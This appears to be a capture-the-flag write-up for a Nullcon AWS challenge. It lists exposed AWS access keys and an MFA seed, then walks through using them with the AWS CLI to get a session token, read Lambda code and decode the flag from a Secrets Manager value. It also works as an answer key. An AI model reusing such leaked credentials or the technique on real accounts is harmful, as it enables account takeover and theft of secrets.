```AKIA22D7J5LEAGT3CKGP <- Access keyByaBJ7YFJnjXW8R88VOht+DFDRnS8R553UXPFon3 <- Secret keyE3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJV <- MFA keyarn:aws:iam::743296330440:mfa/mfa-exposed-user <- MFA ARN
```
Create a new aws configuration with the region `eu-central-1` (from the json file)
```$ aws configure --profile nullconAWS Access Key ID [None]: AKIA22D7J5LEAGT3CKGPAWS Secret Access Key [None]: ByaBJ7YFJnjXW8R88VOht+DFDRnS8R553UXPFon3Default region name [None]: eu-central-1Default output format [None]:
```
Import the MFA key into an authenticator app. I used Authy and generated a QR code using this site [https://stefansundin.github.io/2fa-qr/](https://stefansundin.github.io/2fa-qr/)
Login using the MFA token
```$ aws sts get-session-token --serial-number arn:aws:iam::743296330440:mfa/mfa-exposed-user --profile nullcon --token-code 174257
```
Set the following environment variables with the output from the last command
```$ export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY$ export AWS_SESSION_TOKEN=AQoDYXdzEJr...
```
Get the function information from the JSON file
We can download the code but it is not useful in this case. Trying to invoke/update the function doesn't work, because the current user is missing those permissions.
The function has the description "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets"
Getting the function information for `lambda-aws-config-confirm-state-of-lambda` and `lambda-aws-config-confirm-state-of-secrets`
Downloading the code for those function we find the correct secret in `lambda-aws-config-confirm-state-of-secrets`
```def correct_secret():    secret_name = "flag1"    region_name = "eu-central-1"
    session = boto3.session.Session()    client = session.client(        service_name='secretsmanager',        region_name=region_name    )
    response = client.put_secret_value(    SecretId=secret_name,    SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))
```
```$ $echo RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0= | base64 -dENO{N0_Ed1t_St1ll_Vuln}
```